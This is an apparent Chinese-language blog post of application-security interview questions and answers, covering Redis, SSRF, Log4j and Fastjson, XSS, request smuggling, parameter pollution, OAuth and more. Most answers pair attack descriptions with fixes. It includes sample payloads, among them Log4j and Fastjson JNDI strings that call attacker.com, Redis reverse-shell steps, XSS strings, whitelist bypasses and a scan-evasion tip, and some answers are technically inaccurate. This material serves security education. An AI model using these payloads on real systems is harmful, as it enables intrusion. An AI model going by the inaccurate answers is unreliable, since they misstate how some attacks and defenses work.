【工作】面试题整理应用安全等

g0dam

2024-03-03

应用安全岗位

Redis 未授权访问漏洞如何入侵利用？

漏洞原理：Redis 默认监听在 6379 端口，若未设置密码或绑定特定 IP，攻击者可直接访问。
利用方式：
- 写入 SSH 公钥：利用 `CONFIG SET` 命令修改配置，设置持久化目录为 `/root/.ssh/`，文件名为 `authorized_keys`，然后使用 `SET` 命令写入公钥，最终通过 SSH 登录目标服务器。
- 反弹 Shell：通过 `CONFIG SET` 命令修改持久化目录为 `/var/spool/cron/`，文件名为 `root`，内容为反向 shell 命令，保存后触发定时任务执行，获取远程 shell。
修复方案：
- 设置密码：在 `redis.conf` 中配置 `requirepass <password>`，启用密码认证。
- 绑定 IP：在 `redis.conf` 中配置 `bind 127.0.0.1`，限制仅本地访问。
- 防火墙限制：使用防火墙规则限制对 6379 端口的访问，仅允许可信 IP。
- 禁用危险命令：在 `redis.conf` 中使用 `rename-command` 禁用或重命名高危命令，如 `CONFIG`、`FLUSHDB` 等。

SSRF 漏洞原理、利用方式及修复方案？Java 和 PHP 的 SSRF 区别？

漏洞原理：SSRF（Server-Side Request Forgery）漏洞允许攻击者构造请求，由服务器发起，访问内部或外部服务。
利用方式：
- 访问内网服务：通过构造请求访问内部服务，如 `http://127.0.0.1:5000/admin`，获取敏感信息。
- 探测元数据服务：访问云服务的元数据接口，如 AWS 的 `http://169.254.169.254/latest/meta-data/`，获取实例信息。
- 反弹 Shell：利用支持的协议（如 `gopher`）构造请求，反向连接攻击者主机，获取远程 shell。
Java 和 PHP 的 SSRF 区别：
- Java：`HttpURLConnection`、`Apache HttpClient` 等类默认支持多种协议，可能被用于 SSRF 攻击。Java通常使用如HttpClient等库发起请求，需要特别注意库的配置以避免SSRF漏洞。
- PHP：`file_get_contents`、`cURL` 等函数可用于发起请求，需注意协议限制。
修复方案：
- 协议白名单：限制请求协议，仅允许 HTTP 和 HTTPS。
- 输入验证：严格验证用户输入的 URL，防止非法请求。
- 防火墙限制：使用防火墙规则限制对内部服务的访问。
- 云元数据防护：在云环境中，使用防火墙规则限制对元数据服务的访问。

宽字节注入漏洞原理、利用方式及修复方案？

漏洞原理：宽字节注入利用多字节编码（如 GBK）特性，绕过单字节字符集的过滤，导致 SQL 注入。
利用方式：
- 绕过过滤：在 GBK 编码下，`%df%5c%27` 被解析为 `'`，绕过过滤器，导致 SQL 注入。
修复方案：
- 统一编码：使用 UTF-8 编码，避免宽字节注入。
- 参数化查询：使用预编译语句，避免直接拼接 SQL。
- 输入验证：严格验证用户输入，防止恶意字符。

JSONP 的业务意义、JSONP 劫持利用方式及修复方案？如何设计 CSRF Token？

JSONP 的业务意义：JSONP（JSON with Padding）是一种跨域请求数据的技术，利用 <script> 标签的跨域特性，允许网页从其他域获取数据。
JSONP 劫持利用方式：
- 劫持敏感数据：攻击者构造恶意页面，利用 JSONP 获取用户敏感信息，如账户余额、个人资料等。
修复方案：
- 禁用 JSONP：不使用 JSONP，改用 CORS 等安全的跨域请求方式。
- 验证回调函数：严格验证回调函数名，防止被篡改。
- 使用 HTTPS：通过 HTTPS 加密传输，防止中间人攻击。
如何设计 CSRF Token：
- 生成 Token：在服务器端生成随机的 CSRF Token，并与用户会话关联。
- 嵌入 Token：在每个表单中嵌入该 Token，作为隐藏字段。
- 验证 Token：在服务器端验证请求中的 Token 是否与会话中的一致。
- 示例代码：
- 生成 Token（PHP）：

session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

- 嵌入 Token（HTML）：

<form method="POST" action="/submit">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <!-- 其他表单字段 -->
</form

CORS 原理、利用及修复？

CORS 原理：
跨域资源共享（CORS）是浏览器的一种安全机制，旨在限制一个网站的资源可以被其他域的网页所访问。默认情况下，浏览器不允许从不同源加载资源，除非服务器在响应头中设置了 Access-Control-Allow-Origin，指定哪些域名可以访问该资源。
利用方式：
攻击者可以通过构造恶意网页，诱使用户访问攻击者的站点，利用目标站点的 CORS 漏洞，窃取敏感数据。例如：
- 攻击者站点通过 <script src="http://target.com/sensitive-data"> 请求目标站点，若目标站点未正确配置 CORS，攻击者可窃取数据。
修复方案：
- 配置严格的 CORS 策略：只允许特定的来源域名访问资源：

1	Access-Control-Allow-Origin: https://trusted-site.com

- 使用预检请求：启用 OPTIONS 请求，确保请求的安全性。

CRLF 注入原理？

漏洞原理：
CRLF（Carriage Return Line Feed）注入漏洞发生在攻击者向 HTTP 响应中插入非法的换行符 \r\n，以破坏服务器对响应的处理，从而影响 HTTP 头的解析。攻击者可以插入恶意内容，如注入 HTTP 响应头，进行重定向、跨站脚本攻击（XSS）等。
利用方式：
- HTTP 头注入：攻击者可以通过 CRLF 注入，在响应中插入额外的头部，例如重定向：

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=malicious_value; path=/; HttpOnly
Location: http://attacker.com/malicious

修复方案：
- 输入验证：过滤所有输入，防止用户提交非法的换行符或回车符。
- HTTP 头规范化：确保所有 HTTP 头遵循标准格式，避免不必要的字符插入。

URL 白名单如何绕过？

漏洞原理：
URL 白名单常用于限制用户请求的目标地址，只允许特定的域名或路径。攻击者可以通过某些技术绕过白名单，发起恶意请求。常见的绕过方式包括：
- 使用 URL 编码：如 http://example.com%2F%2E%2E%2F（通过 URL 编码绕过路径限制）。
- 使用 localhost 或 127.0.0.1 地址直接访问内网服务。
利用方式：
- 路径绕过：攻击者通过 URL 编码或使用 DNS 重绑定，绕过域名限制：

1	http://trusted-site.com/../../etc/passwd

修复方案：
- 严格白名单规则：验证请求的域名和路径，确保只允许明确的合法地址。
- DNS 检查：验证 URL 的 DNS 解析结果，确保目标地址的 IP 属于可信范围。

XSS 如何实现？

漏洞原理：
跨站脚本（XSS）漏洞允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过输入框、URL 参数等位置注入 JavaScript 代码，导致浏览器执行不受信任的脚本，进而窃取用户数据或劫持会话。
利用方式：
- 存储型 XSS：攻击者将恶意脚本存储在服务器端，用户访问时触发脚本执行：

1	<script>alert('XSS')</script>

- 反射型 XSS：攻击者通过 URL 注入恶意脚本，用户点击后触发：

1	http://target.com/search?q=<script>alert('XSS')</script>

修复方案：
- 输入输出编码：对所有用户输入进行严格的编码处理，避免将恶意脚本直接插入页面：

1	echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

- 内容安全策略（CSP）：使用 Content-Security-Policy 响应头，限制可执行的脚本来源：

1	Content-Security-Policy: script-src 'self' https://trusted-cdn.com;

Fastjson、Log4j 常见漏洞原理？如何底层解决该漏洞？

Fastjson 漏洞原理：
Fastjson 是一个 JSON 处理库，曾暴露出反序列化漏洞，攻击者可通过构造恶意 JSON 数据，利用 Fastjson 的自动类型转换功能，执行任意代码。此漏洞被称为 AutoType 漏洞。
利用方式：
- 反序列化攻击：攻击者利用 Fastjson 的 AutoType 特性，发送恶意 JSON 数据，触发反序列化漏洞，从而执行恶意代码。

1	{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/malicious"}

修复方案：
- 禁用 AutoType：禁用不必要的类型转换，避免反序列化恶意类型：

1	ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

Log4j 漏洞原理：
Log4j 是一款流行的 Java 日志框架，曾因 JNDI 查找功能导致远程代码执行（RCE）漏洞。攻击者利用特制的日志输入，通过 JNDI 远程加载恶意类，从而执行代码。
利用方式：
- JNDI 注入：攻击者发送恶意日志数据，触发 Log4j 向远程 JNDI 服务加载恶意类：

1	${jndi:ldap://attacker.com/malicious}

修复方案：
- 更新 Log4j 版本：立即升级到 Log4j 2.16.0 或更高版本，禁用 JNDI 查找功能。
- 禁用 JNDI：通过配置 Log4j 禁用 JNDI 查找：

1	log4j2.formatMsgNoLookups=true

业务逻辑漏洞具体类型：

身份校验相关风险：未授权访问、非正常账户状态、身份可枚举、水平越权、垂直越权等。
接口逻辑实现不一致：不同协议实现不一致、同类产品不同逻辑、不同阶段逻辑不一致-流程绕过。
不安全的可信端数据：APP数据被篡改或伪造。
预设要求不符合：依赖条件不安全-业务校验属性设计、人工客服容易被骗-业务流程设计。
滥用合理业务需求：如API速率限制被绕过、促销活动被恶意利用等。

哪些账户状态会导致预期外的风险：

注销账户仍可进行操作。
禁用账户绕过禁用逻辑。
风控账户执行敏感操作。
司法冻结账户进行资金转移。

身份标识明文传输会导致的风险：

身份盗用：攻击者可通过截获明文身份标识，伪装成其他用户。
会话劫持：攻击者可能通过明文身份标识接管用户会话。

水平越权触发点会存在的位置：

Cookies：被恶意修改以访问其他用户会话。
自定义Header：如X-Custom-Header被利用进行越权访问。
URL Path：路径遍历或操作其他用户资源。
URL Param Value：参数值被修改以访问未授权资源。
URL Param JSON：JSON参数被篡改导致越权。
Body Form、Body JSON、Body XML：请求体中数据被篡改。
自定义协议的自定义字段：用于越权访问的隐藏参数。

水平越权有哪几种检测方式：

枚举检测：对数字ID进行递增或递减测试。
账户互测：使用两个不同权限账户相互访问资源。

通过数字加减遍历或通过两个账号互测的方式进行水平越权测试的优劣势：

数字加减遍历：
- 优势：直接针对数字型资源ID，操作简单。
- 劣势：只能检测连续数字ID，可能遗漏非连续或非数字ID的越权，且对业务有损。
账号互测：
- 优势：无需遍历，降低被发现风险，不会对他人数据产生影响。
- 劣势：配置多个账号测试较为繁琐，当参数多且相互关联时效率较低。

CORS 原理、利用及修复？

CORS 原理：
跨域资源共享（CORS）是Web浏览器实现的一种安全机制，用于限制Web页面如何请求另一域名下的资源。其原理是通过在HTTP响应头中加入Access-Control-Allow-Origin字段来指定哪些外部域可以访问该资源。

利用方式：
攻击者可能利用不当配置的CORS策略，使得恶意网站能够访问或修改目标域下的敏感数据。

修复方案：
- 配置严格的CORS策略，仅允许信任的源访问资源。
- 使用预检请求（OPTIONS请求），在实际请求之前进行权限校验。

某个APP的某个功能按钮是灰色不可用状态，如何绕过其限制？

修改前端按钮属性：直接修改前端页面元素的属性，使其可用。
分析后端接口：检查按钮对应的后端API，尝试直接调用接口以绕过前端限制。
多协议测试：尝试通过不同协议（HTTP、WSDL、REST、GraphQL）调用API，看是否能绕过限制。
跨平台测试：如果APP上按钮不可用，尝试在PC或其他平台上操作，看是否能绕过限制。

流程绕过漏洞如何抽象理解归类？

状态变更不一致：创建时权限校验严格，后续状态变更时权限要求不一致。
步骤要求不一致：流程中某个步骤要求严格，后续步骤要求不一致，如输入密码后未校验。
并发逻辑控制：并发执行流程，如多窗口同时支付，使优惠多次使用。
特殊时期逻辑绕过：如大促时期校验机制降级，导致流程绕过。
逻辑控制缺陷：开发中逻辑控制不严谨，如多条件判断中遗漏关键校验。

TLS 1.2 协议交互过程以及攻击方法？

TLS 1.2 交互过程：

客户端 Hello：客户端向服务器发送支持的 TLS 版本、加密套件、随机数等。
服务器 Hello：服务器选择 TLS 版本、加密算法，并返回自己的证书。
密钥交换：基于 RSA 或 ECDHE 交换密钥，协商对称加密密钥。
Finished：双方使用协商出的密钥完成握手，开始加密通信。

攻击方法：

TLS 降级攻击：攻击者干扰 TLS 握手，迫使客户端使用较低版本的 TLS（如 POODLE）。
中间人攻击（MITM）：攻击者拦截并修改 TLS 握手，插入恶意 CA 证书，解密通信。
会话劫持：通过窃取会话票据（Session Ticket）获取用户会话。
BEAST 攻击：利用 CBC 模式填充漏洞，破解会话密文。

修复方案：
- 强制使用 TLS 1.2+，禁用低版本。
- 启用 HSTS，防止降级攻击。
- 使用 PFS（Perfect Forward Secrecy），防止密钥泄露影响历史数据。

HTTP 请求走私（HTTP Request Smuggling）原理

漏洞原理：
HTTP 请求走私是由于服务器对 Content-Length 和 Transfer-Encoding 解析不一致导致的漏洞，攻击者可以通过构造特殊的 HTTP 请求，使代理服务器和目标服务器解析不同步，导致：

窃取其他用户的请求数据
绕过身份验证
触发缓存污染

利用方式：
- CL.TE 攻击：

POST / HTTP/1.1
Host: target.com
Content-Length: 15
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1

修复方案：
- 统一 Content-Length 和 Transfer-Encoding 的解析逻辑。
- 在 Web 服务器和代理服务器中禁用 Transfer-Encoding: chunked。
- 使用最新版本的 Web 服务器，如 Nginx、Apache，修复已知漏洞。

DNSSEC 能解决什么场景问题？

作用：
DNSSEC（DNS Security Extensions）用于提供 DNS 解析数据的完整性和真实性，防止 DNS 劫持、缓存污染等攻击。

适用场景：

防止 DNS 伪造：利用数字签名验证 DNS 记录的真实性。
防缓存投毒：确保解析器获取的是正确的 DNS 记录，而不是攻击者篡改的数据。

限制：
- DNSSEC 不能加密 DNS 查询内容，仍然容易被监控。
- 部署复杂，且需要上级 DNS 服务器支持。

DNS 记录（DS、PTR、TXT）类型的常见作用？

DS（Delegation Signer）：DNSSEC 相关记录，存储子域的公钥信息。
PTR（Pointer Record）：用于反向 DNS 解析，将 IP 地址映射回域名，常用于邮件服务器验证。
TXT（Text Record）：存储任意文本数据，常用于 SPF 记录、防垃圾邮件等。

示例：
- SPF 记录（TXT）：

1	example.com TXT "v=spf1 ip4:192.168.1.1 -all"

作用：指定允许的邮件发送服务器，防止伪造邮件。

将暂时不用的域名解析到 1.1.1.1 有什么好处和坏处？

好处：

避免原 IP 解析，防止解析记录暴露，减少攻击风险。
加快全球解析同步速度。

坏处：

1.1.1.1 是 Cloudflare CDN 的 IP，可能导致误封或安全风险。
可能影响未来恢复使用，导致解析问题。

更安全的做法：
- 直接删除域名解析记录，或设置 `NXDOMAIN` 响应。

OAuth 除了 redirect_uri 绕过问题外，还有哪些风险以及如何修复？

常见风险：

State 参数缺失：导致 CSRF 攻击，攻击者可劫持用户授权。
Client Secret 泄露：攻击者伪造请求，冒充合法客户端获取访问权限。
错误的 token 存储：访问令牌被存储在客户端，容易被盗用。

修复方案：
- 强制校验 state 参数，防止 CSRF：

1
2
3

state = generate_secure_token()
session["oauth_state"] = state
redirect_uri = f"https://auth.com/oauth?state={state}"

- **严格验证 redirect_uri**，避免重定向到攻击者站点：

1 2	if not redirect_uri.startswith("https://trusted-site.com"): abort(403)

- 使用短生命周期 Token，避免长期暴露：
- Access Token 仅可使用一次
- 使用 Refresh Token 进行长时间会话维护
- 全程使用 HTTPS，防止 Token 被窃听

JWT 相较于 SESSION 的优势？

JWT 优势：

无状态：JWT 不依赖服务器存储会话数据，适用于分布式系统。
性能优化：SESSION 需要存储在服务器，而 JWT 通过客户端传输，减少了服务器负担。
可扩展性：JWT 可携带自定义声明（claims），支持多种身份验证场景。

安全注意点：
- JWT 一旦泄露，攻击者可以长期使用，建议使用短生命周期 Token。
- 需使用 RS256（非对称加密）或 HS256（对称加密），避免 `none` 算法漏洞。

如何通过 HTTP 参数污染将 `uid=9527&amount=100` 中的 uid 改为 10086？

漏洞原理：
HTTP 参数污染（HPP）是指通过重复提交相同参数，导致服务器在解析时出现不一致，从而实现攻击。

利用方式：

服务器处理参数方式不同：
1
GET /transfer?uid=9527&uid=10086&amount=100
- 某些服务器取第一个参数（uid=9527）
- 某些服务器取最后一个参数（uid=10086）
编码绕过：
1
GET /transfer?uid=9527%26uid%3D10086&amount=100
- %26 是 & 的 URL 编码，导致 uid=9527&uid=10086 被解析。

修复方案：
- 严格限制参数格式，拒绝重复参数。
- 统一服务器端参数解析方式，确保参数唯一性。

当网关对所有请求会进行一次强制 urldecode，存在一个参数 `uid=9527&remark=充话费&amount=100` 的接口，仅备注字段（remark）可控时，如何改变最终的金额字段（amount）？

漏洞原理：
如果网关会强制 urldecode，攻击者可以利用 %26（即 &）或 %3D（即 =）进行解析绕过，篡改 amount。

利用方式：
GET /pay?uid=9527&remark=充话费%26amount%3D100000
如果服务器在 urldecode 后处理：
uid=9527&remark=充话费&amount=100000
此时 amount 被成功修改为 100000。

修复方案：
- 对输入数据进行二次编码检查，避免 `urldecode` 解析参数。
- 使用 JSON 传输数据，避免 `query string` 参数解析问题。

哪些漏洞的测试对业务有损？如何避免？

高风险测试：

SQL 注入：可能导致数据库崩溃。
CSRF 测试：可能导致用户误操作。
逻辑漏洞：批量刷单、支付绕过等测试可能影响业务数据。

避免方案：
- 在测试环境进行验证，避免直接在生产环境测试。
- 对关键 API 限制高频请求，防止影响用户体验。

漏洞修复一般分为哪几个步骤？

漏洞确认：分析漏洞是否真实存在。
风险评估：确定漏洞的影响范围和紧急程度。
修复方案：制定修复方案，可能包括代码修复、配置调整等。
修复验证：测试修复是否生效，确保无新问题引入。

如何制定漏洞的修复时间？需要考虑哪些因素？

关键考虑因素：

漏洞严重度（高危漏洞需立即修复）。
业务影响（避免修复影响核心业务）。
修复成本（代码改动、测试资源）。

最佳实践：
- P0（高危）：24 小时内修复。
- P1（中危）：1 周内修复。
- P2（低危）：1 个月内修复。

如何有效提升漏洞修复效率？

优化方法：
- 漏洞分类，制定标准化修复流程。
- 自动化测试，减少回归测试成本。
- 开发安全培训，提高修复能力。

什么类型漏洞是代码审计无法准确判断存在与否的？

常见难以判断的漏洞：

业务逻辑漏洞：如支付接口绕过、积分漏洞，依赖具体业务逻辑。
权限控制问题：仅看代码难以判断 API 是否可被未授权用户访问。
时间相关漏洞：如竞态条件（Race Condition），代码静态分析难以检测。
加密安全性：仅从代码无法判断加密算法的强度，需结合实际使用环境分析。

解决方案：
- 结合动态分析（DAST）+人工测试，验证漏洞是否可被利用。

密钥的识别的正则如何写？

匹配 API Key、JWT、OAuth Token：
`(?i)(apikey|token|secret|password|bearer)\s[:=]\s["']?([A-Za-z0-9\-_]{20,60})["']?`
匹配 AWS 访问密钥：
`AKIA[0-9A-Z]{16}`
匹配私钥：
`-----BEGIN (RSA|DSA|EC) PRIVATE KEY-----`
修复方案：
- 禁止密钥硬编码，使用环境变量或配置管理工具存储敏感信息。

正则 `(a+)+` 会存在哪些风险？

风险点：

正则回溯爆炸（ReDoS）：当输入较长的 a 时，正则引擎可能会产生指数级回溯，导致 CPU 计算量激增，可能被 DoS 攻击利用。
1
python -c 'import re; re.match("(a+)+", "a" * 100000)'
可能导致 CPU 挂死。

修复方案：
- 避免使用嵌套重复匹配 `(a+)+`，改用 `^a+$` 限制匹配范围。
- 使用非回溯正则（如 RE2 引擎）。

程序对读取的文件名的正则为 `/\.markdown/`，如何绕过？

绕过方式：

大小写绕过：readme.Markdown
编码绕过：readme.%6Darkdown
目录穿越：./readme.markdown./
Unicode 绕过：readme.mar𝗸down（利用 Unicode 变体）
双写绕过：readme..markdown

修复方案：
- 严格使用 basename 解析路径：

import os
filename = os.path.basename(user_input)
if not filename.endswith(".markdown"):
    raise Exception("Invalid file type")

**程序对请求的 URL 的正则为 `/^http\:\/\/.\.feei.cn($|$\/[^<>\""]$)/`，如何绕过？**

绕过方式：

编码绕过：
1
http://attacker.fe%65i.cn
使用 @ 符号（URL 解析差异）：
1
http://attacker.com@feei.cn
双写 // 规避解析：
1
http://feei.cn//@attacker.com

修复方案：
- 严格解析域名，不依赖正则：

from urllib.parse import urlparse
def validate_url(url):
    parsed = urlparse(url)
    if not parsed.netloc.endswith(".feei.cn"):
        raise ValueError("Invalid domain")

解释型语言和编译型语言在语法树分析上有什么差异？

解释型语言（如 Python、JavaScript）：

动态类型：变量类型可变，增加了静态分析的难度。
运行时特性：如 eval()、exec() 使得代码行为无法完全静态分析。
AST 解析依赖上下文：如 import 语句的动态导入。

编译型语言（如 C、Java）：
- 类型确定：变量类型在编译期已确定，静态分析更稳定。
- 优化可能影响漏洞分析：编译器优化可能导致某些漏洞难以被静态分析发现。

Java Web 应用中的反序列化漏洞的 Source 和 Sink 是什么？

Source（数据入口）：

用户可控输入：

1	ObjectInputStream ois = new ObjectInputStream(request.getInputStream());

远程方法调用（RMI）：

1	Registry registry = LocateRegistry.getRegistry("attacker.com", 1099);

文件读取：

1 2	FileInputStream fis = new FileInputStream(userInput); ObjectInputStream ois = new ObjectInputStream(fis);

Sink（危险执行点）：

readObject() 触发反序列化：
1
Object obj = ois.readObject();

EL 解析（Struts2）：

1	ExpressionFactory factory = new ExpressionFactoryImpl();

XStream 反序列化：

1 2	XStream xstream = new XStream(); Object obj = xstream.fromXML(xml);

修复方案：
- 禁用不安全的 readObject()：

1
2
3

protected Object readObject(ObjectInputStream in) throws InvalidObjectException {
    throw new InvalidObjectException("Deserialization not allowed");
}

- 仅允许反序列化可信类型：

ObjectInputFilter filter = info -> 
    info.serialClass() != null && allowedClasses.contains(info.serialClass());
ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(filter);

黑盒如何检测 XSS 漏洞？

检测方式：

输入点探测：使用 "><script>alert(1)</script> 等 XSS 载荷测试输入点。
DOM 分析：检测是否存在 innerHTML、eval() 等执行点。
反射测试：提交特定字符，如 <script>alert(1)</script>，观察页面响应。
CSP 绕过：如果目标启用了 CSP，测试 JSONP、数据 URL、WebSocket 等绕过方式。

自动化工具：

Burp Suite：使用 XSS 扩展（如 XSS Validator）自动检测。
OWASP ZAP：启用 XSS 扫描规则，检测反射型 XSS。

修复方案：
- 使用 `Content-Security-Policy` 限制 JavaScript 执行来源。
- 采用 `encodeURIComponent()` 对输入数据进行转义。

甲方黑盒是否应具备爬取流量功能？

必要性：

需要：
- 甲方安全团队通常用于渗透测试，爬取流量有助于发现隐藏接口。
- 适用于 API 端点挖掘、业务逻辑漏洞测试。
不需要：
- 可能影响生产环境，增加服务器负载。
- 爬取可能涉及隐私数据，需符合合规要求。

折中方案：
- 允许基于授权的爬取，并提供流量白名单机制。
- 结合 Web 日志和流量分析进行被动扫描。

黑盒如何扫描无法出网的 SSRF？

方法：
1. 本地探测：
- 通过 file://、gopher:// 访问本地资源，测试服务器是否支持非 HTTP 请求。
- 使用 http://127.0.0.1:8000/admin 测试内网访问。
2. DNSLog：
- 在内网部署 DNS 监听服务，检测服务器是否尝试解析域名：

1	dig @127.0.0.1 example.com

3. 端口扫描：
- 通过 http://127.0.0.1:22、http://localhost:3306 发现内部服务。
- 结合 burp-collaborator 进行 OOB 测试。
修复方案：
- 限制外部请求的目标 IP，仅允许可信域名访问。
- 关闭 gopher://、file:// 等不必要的协议支持。

黑盒如何扫描越权漏洞？

方法：
1. 水平越权测试：
- 用户 A 访问用户 B 数据：

1	GET /user/profile?uid=10086

- 替换 UID 观察返回数据是否可访问。
2. 垂直越权测试：
- 低权限用户尝试访问管理员接口：

1	GET /admin/dashboard

- 检查是否返回 403，或尝试不同角色访问。
3. Token 替换：
- 使用已登录用户的 JWT、Cookie，切换身份，观察权限控制情况。
修复方案：
- 采用 RBAC（基于角色的访问控制），避免 IDOR（不安全的直接对象引用）。
- 在后端校验用户权限，而非仅依赖前端逻辑。

黑盒带登录态扫描如何规避业务影响？

方法：

限制扫描速率：
- 采用 请求间隔策略，防止对应用服务器造成高负载：
  1
  rate-limit: 10 requests/sec
非关键业务时段测试：
- 在低峰时段（如凌晨）执行扫描，避免影响正常用户。
模拟正常用户行为：
- 通过 Session 复用，减少多次登录请求，避免触发风控。
创建测试账号：
- 在测试环境使用专用账号，避免影响真实用户数据。

修复方案：
- 使用 WAF 规则限制高频异常请求。
- 采用测试环境，避免在生产环境直接扫描。

黑盒扫描时如何避免被反制？

常见反制机制：

WAF 拦截：基于 IP 频率、User-Agent 检测扫描工具。
验证码机制：要求用户交互，防止自动化请求。
流量异常检测：检测短时间内大量请求并封禁。

规避方案：

伪装请求：
- 使用常见的 User-Agent 伪装扫描流量：
  1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
IP 轮换：
- 通过代理池（如 tor 或 proxychains）更换 IP：
  1
  proxychains nmap -p 80 target.com
低频扫描：
- 使用 时间间隔控制，避免短时间大量请求。
模拟正常用户行为：
- 结合 真实浏览器 进行测试，如 Puppeteer，绕过基于浏览器指纹检测的反制。

长期策略：
- 采用企业级资产扫描工具（如 Burp Suite + Headless Chrome），绕过简单的 WAF 防护。

灰盒相较于黑白盒的优势是什么？

灰盒测试的优势：
- 结合黑盒与白盒测试：
- 既能利用内部信息（如 API 文档、部分代码访问权限）提高测试效率，又能模拟真实攻击场景进行漏洞挖掘。
- 提高测试覆盖率：
- 通过部分源代码和接口权限，测试人员可以更精确地分析逻辑漏洞，如权限绕过、业务滥用。
- 减少误报：
- 由于可访问部分内部逻辑，减少黑盒测试中的误报，提高漏洞发现的准确性。

抽象来看，安全评估到底要评什么东西？

安全评估核心：
1. 攻击面分析：
- 识别可能的攻击入口，包括 API、Web 界面、数据库、第三方集成等。
2. 数据安全：
- 评估数据存储、传输及访问控制的安全性，防止数据泄露和未授权访问。
3. 身份与权限管理：
- 检查认证方式（JWT、OAuth）、权限控制机制（RBAC、ABAC）。
4. 漏洞扫描与测试：
- 进行静态代码分析（SAST）、动态测试（DAST）、模糊测试（Fuzzing）。
5. 业务逻辑风险：
- 识别如支付绕过、积分滥用、订单劫持等业务漏洞。

一个应用开放出去 API，可能存在哪些风险以及如何应对？

可能的安全风险：

数据传输风险：
- 明文传输：未使用 HTTPS，导致流量被窃听。
- 中间人攻击：未验证服务器证书，攻击者可拦截 API 请求。
身份认证风险：
- 缺乏 API 访问控制：攻击者可直接调用 API 获取数据。
- 硬编码 API Key：客户端应用存储 API 密钥，容易泄露。
请求完整性风险：
- 请求伪造：攻击者篡改请求参数，如修改支付金额、用户 ID。
- 重放攻击：攻击者捕获合法请求并多次发送。

应对措施：
- 加密传输：强制使用 HTTPS，并启用 HSTS 保护。
- 身份认证：使用 OAuth2.0、JWT 或 API Key 结合 HMAC 签名。
- 请求防护：
- 使用请求签名机制，防止篡改和重放攻击。
- 添加时间戳 + 随机数，确保请求唯一性。

设计 API 签名时，随机数使用秒时间戳（timestamp/s）会存在哪些风险？

主要风险：

重放攻击：
- 攻击者在 1 秒内多次发送相同请求，绕过签名验证。
时间偏移问题：
- 服务器与客户端时钟不同步，导致请求被拒绝。
可预测性：
- 攻击者可猜测时间戳，生成可能的签名进行伪造。

应对方案：
- 使用毫秒级时间戳（timestamp/ms）降低重放窗口。
- 引入随机数（nonce），确保每次请求的唯一性：

1
2
3

timestamp = str(int(time.time() * 1000))
nonce = uuid.uuid4().hex
signature = hmac_sha256(secret_key, timestamp + nonce + payload)

设计 API 签名时，HMAC SHA256 和 SHA256 区别是什么？

SHA256：

单向哈希算法，不可逆，可用于密码存储。
无密钥机制，容易受到 长度扩展攻击（Length Extension Attack）。

HMAC SHA256：
- 基于 SHA256 的加密哈希消息认证码（Hash-based Message Authentication Code）。
- 使用密钥进行哈希计算：

import hmac
import hashlib
message = "data-to-sign"
secret_key = "my-secret-key"
signature = hmac.new(secret_key.encode(), message.encode(), hashlib.sha256).hexdigest()

- 安全性更高：HMAC 通过密钥增强安全性，避免 SHA256 可能被伪造。

密码如何加密保存？

密码存储最佳实践：
1. 使用强哈希算法：
- 推荐使用 PBKDF2、bcrypt 或 scrypt，避免使用 MD5、SHA1、SHA256 直接存储。
2. 添加随机盐（Salt）：
- 解决 彩虹表攻击，确保相同密码哈希值不同。
3. 使用密钥推导函数：
- PBKDF2（基于 HMAC 的密钥派生）：

1
2
3

import hashlib, os
salt = os.urandom(16)
password_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)

- bcrypt（适用于 Web 应用）：

1 2	from bcrypt import gensalt, hashpw hashed = hashpw(password.encode(), gensalt())

- scrypt（适用于高安全场景）：

1 2	import hashlib hashed = hashlib.scrypt(password.encode(), salt=os.urandom(16), n=16384, r=8, p=1)

4. 避免明文存储：
- 严禁存储明文密码，所有密码必须经过安全哈希处理。

某些场景（登录、注册、修改密码、支付）会存在哪些风险以及如何防范？

常见风险：

登录：
- 暴力破解：攻击者不断尝试用户名密码组合。
- 凭证泄露：弱密码或数据库泄露导致账号被盗。
- 会话固定攻击：攻击者利用固定 Session ID 劫持用户身份。
注册：
- 自动化注册：攻击者批量注册垃圾账号（如 CAPTCHA 绕过）。
- 手机号/邮箱占用：利用他人信息恶意占号。
修改密码：
- 未验证原密码：直接允许修改密码，导致账号被盗。
- 邮件链接劫持：重置密码链接未使用一次性 Token，容易被劫持。
支付：
- 金额篡改：客户端数据未加签，攻击者可篡改支付金额。
- 订单重放：未加随机数的请求被重复提交，造成资金损失。

防范措施：
- 登录：使用验证码、IP 频率限制、二次验证（2FA）。
- 注册：限制批量注册（如基于行为分析检测）。
- 修改密码：要求输入旧密码，或进行二次验证（短信/邮件）。
- 支付：使用 HMAC 签名，防止请求篡改，启用幂等机制避免重复支付。

新应用如何评估安全风险？

评估方法：
1. 攻击面分析：
- 识别 API、前端、数据库、第三方集成的潜在漏洞点。
2. 身份认证与访问控制：
- 确保使用 JWT、OAuth 进行身份认证，避免越权访问。
3. 数据保护：
- 敏感数据加密存储，防止数据泄露。
4. 业务逻辑漏洞：
- 评估支付、交易等关键功能，防止恶意利用。

需求阶段、各分阶段安全评估的侧重点是什么？

不同阶段的安全评估重点：

需求阶段：
- 识别业务逻辑中的潜在安全风险，如支付流程、权限管理等。
- 确保合规性（GDPR、PCI DSS 等）。
设计阶段：
- 采用 最小权限原则 设计访问控制。
- 评估加密方案，防止数据泄露。
开发阶段：
- 代码审计（SAST），检查 XSS、SQL 注入等漏洞。
- 代码安全规范（禁止硬编码密钥等）。
测试阶段：
- 进行黑盒测试（DAST），模拟攻击者视角查找漏洞。
上线后：
- 启用 入侵检测系统（IDS），监控异常行为。
- 定期漏洞扫描，防止安全回归。

接口 B 的参数是从接口 A 的响应中获取的，会存在哪些风险？

常见风险：

信任链问题：接口 A 的数据未经校验直接传递给接口 B，导致漏洞传播。
数据篡改：如果攻击者能劫持接口 A 响应，可伪造数据影响接口 B。
请求伪造：如果接口 A 返回可被滥用的 URL，攻击者可构造恶意请求。

防范措施：
- 数据完整性校验：接口 A 的响应必须进行签名验证。
